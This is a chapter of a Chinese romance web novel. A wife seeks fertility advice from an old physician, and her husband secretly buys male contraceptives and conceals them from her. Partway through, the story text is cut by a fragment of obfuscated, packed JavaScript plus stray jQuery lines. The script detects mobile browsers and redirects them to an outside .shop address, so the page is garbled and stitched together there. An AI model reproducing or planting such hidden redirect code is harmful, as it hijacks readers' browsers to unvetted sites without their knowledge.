翌日，晴光大好。日光从檐角斜斜铺下来，落在青石板上，泛着一层薄薄的暖色。南瑛心情也跟着亮堂了几分，拉着裴蘅的手，拐过两条街，在一家药铺门口停下脚步。
“到了。”
铺面不大，药香却浓。陈年的甘草味混着艾草的清苦，丝丝缕缕地从门缝里漫出来，钻进鼻腔。南瑛记忆一恍惚——这气味与当年母亲房中飘出来的，分明是同一种。她脚步微晃，手背磕上门框边沿，好在裴蘅眼疾手快地搀住了她。
“怎么了？”他问。
“无妨。”南瑛揉了揉太阳穴，“想起些旧事罢了。”
裴蘅没再追问，抬眸扫了眼门楣上的匾额，目光沉沉地停了一瞬，才抬步跟进去。
药铺里，一个头发斑白的老郎中正伏案翻书。闻声抬起头，搁下书卷，热络地招呼二人坐下。
此人姓陈，北境城中但凡求子嗣的妇人，十有八九都来过他这里。一手脉诊功夫极准，旁人治不了的症候，到他手里往往能多拖些时日。南瑛母亲当年病重时，便是他开的方子。太医院的人说最多撑半年，他硬是拖足了一年。
那一年里，母亲多陪她过了一次生辰，多替她梳了一回发。南瑛当时不觉得什么，此刻站在同样的药香里，才恍然那一年有多重。
南瑛先伸了手腕。陈郎中搭了脉，捻着胡须。“南大小姐脉象尚可，底子不差，只是有过着凉的痕迹。”
轮到裴蘅。指尖按上去，片刻后，陈郎中“咦”了一声，又按了按，这才收回手。“这位公子脉象沉稳有力，无半分亏虚，比寻常人强健得多。”
南瑛心头那块小石头落了地。她垂眼看了片刻自己的手腕——方才搭脉的地方还残留着陈郎中指尖的凉意。再抬头时，干脆也不绕弯子了：“那我到底能不能怀上？”
近些时日，二房的人明里暗里来探她肚子的动静，话里话外都等着看笑话。她原是不急的，可转念一想——若一个孩子便能堵了那帮人的嘴，倒也不亏。
陈郎中拿起笔，蘸了墨，在簿册上记了两笔。“行房几次？”
“两次。”南瑛答得利落。
话音刚落，手心底下那只手翻了个面，转而将她的手整个包住了。紧接着，一个略带涩意的声音落进她耳中：“……一次。”
南瑛偏头看他。裴蘅没转头，面色如常，只留给她一个微微泛红的耳廓，声音压得极低：“……只有大婚那日。”
“才一次？急什么？”陈郎中搁下笔，眼神在两人身上转了一圈，带出几分过来人的从容，“有些夫妻成亲数载都不见动静。依我瞧，二位底子都好，回去多试几回，不出一月便能如愿。”
南瑛仍不死心：“那有没有调养的偏方？药膳也行。”
“没有。”陈郎中收拾脉枕，头也没抬，“是药三分毒，你们身子骨硬朗，用不着那些。倒是有一点——行房时别太绷着，越紧张越不容易怀上。放开了试。”
南瑛唇角微撇。究竟是谁在紧张？成亲那夜，他分明比她卖力得多。她余光扫过去——裴蘅端坐在旁，面容平和，只是搭在膝上的那只手，指尖无意识地蹭了一下袖口。
她心知陈郎中乃说一不二之人，便没再追问。同他告了别，牵着裴蘅出了药铺。
日头依旧白晃晃地悬在头顶，映在二人身上。日光分明比方才更盛，南瑛却无端觉得心头压了一层薄薄的闷。
走出去一段路，裴蘅忽然开口：“娘子为何突然想要孩子？”
南瑛脚步一顿，“族里催得紧。有个孩子，他们便能闭嘴。而且——”
若留个孩子在将军府，她便能跟着父亲南下从军。
这话她不知该如何说出口。
与此同时，裴蘅正好转过身来看她。他视线灼灼，一如往常。但不知怎的，她总觉得那目光底下，还压着些什么。
“非要孩子不可么？”裴蘅的嗓音沉下去，像含着沙砾。
“怎么？你不喜欢孩子？”南瑛偏头看他，“若有个软糯的女儿陪在身边，不是很好吗？”
裴蘅的手从她掌心滑到她腕间，力道陡然收紧，猛地一拽。“不太喜欢。”
南瑛怔了一瞬。他从未用这种语气跟她说过话——闷的，硬的，像把门关上了。
“为何？”
裴蘅抿了抿唇，别开视线，“没有为何。单纯不喜欢。”
南瑛正要开口，腕间那股力道却忽然卸了。裴蘅松开手，没给她反应的时间，转身往回走。
“你在此处等我片刻。方才落了东西，我回去取。”
方才分明是空手出的府。南瑛心下闪过一丝疑惑，还没来得及开口，那袭衣角已消失在拐角处。
裴蘅折回药铺。屋里仍旧只有陈郎中一人。见他返回，陈郎中正在收拾脉枕的手顿了一下，抬头看了他一眼：“裴公子这是……？”
裴蘅没有坐下，就站在柜台前，开门见山：“劳烦陈郎中，开一副男子用的避子药。”
陈郎中手中那支笔顿住了。抬起头，目光在他脸上停了片刻。“方才把脉，公子身子骨硬朗得很。为何要这东西？”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17760633|206356||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>“近一两年，不打算要孩子。”
“是南大小姐的意思，还是公子的意思？”陈郎中搁下笔，神色淡了几分，“方才南大小姐在堂上那般急切，可不像是不要孩子的样子。”
裴蘅没接话，只从袖中摸出一块碎银搁在案上，不多不少，恰是一副药的价。“她那边，我自会交代。陈郎中只管开药便是。”
陈郎中盯着那块碎银看了半晌，没有收，也没有推回去：“公子可知，此物男子服了，虽能避孕，却极损元气。短则一两年，长则三五年，日后想要子嗣，怕是难了。”
裴蘅沉默了一瞬，再开口时，声音平静得没有一丝波澜：“那就先开半年份的。”
“半年？”陈郎中抬眼看过来，目光在他脸上停了许久，“公子可想清楚了。这药一旦吃上，中途停了也未必能恢复。半年下来，往后还能不能有子嗣，老朽不敢担保。”
裴蘅面色未变，只垂眼看着他搁在案上那枚碎银。“开。”
陈郎中盯着他看了好一会儿，终究叹了口气。转身拉开药柜，抓了几味药，拿油纸包好，推过来。
“三日一副，煎水服。若中途改了主意，停也来得及——但老朽把话说在前头：吃满半年，日后想要孩子，至多只剩三成把握。”
裴蘅接过药包，利落地揣进袖中，“多谢。”
他快步走出药铺。拐过街角时，看见南瑛正低头踢石子。听见脚步声，她抬头望过来。
“你回来了？”南瑛挽上他的胳膊，“去取什么东西了，这么急？”
“没什么。”
南瑛太阳穴突突跳了一下，作势便要去翻他袖口：“裴屿安，你是不是有事瞒着我？”
裴蘅神色坦然，“没有。”
“那给我看看取了什么。”南瑛停下脚步，双手抱臂望着他，大有不翻出来便不走了的架势。
无奈之下，裴蘅只得取出药包。他递过来时，手指在油纸上多停了一瞬，像是犹豫要不要给，抑或是带着些羞涩，但很快松开了手。
南瑛接过来翻看了一回，确实是寻常的调理药材，没看出什么异样。但知觉告诉她，这事不太对劲。
裴蘅耳根浮起一层薄红，“方才在堂上没好意思开口。后来见娘子这般心切，总不好让你空手而归。我又折回去寻了陈郎中，磨了好一会儿，他才肯给了一副方子。”
来自多年对异常的感知，南瑛几乎下意识就想返回问问陈郎中这究竟是怎么一回事。但转念一想，当着裴屿安的面回去，明摆着就是不信任他，也就作罢。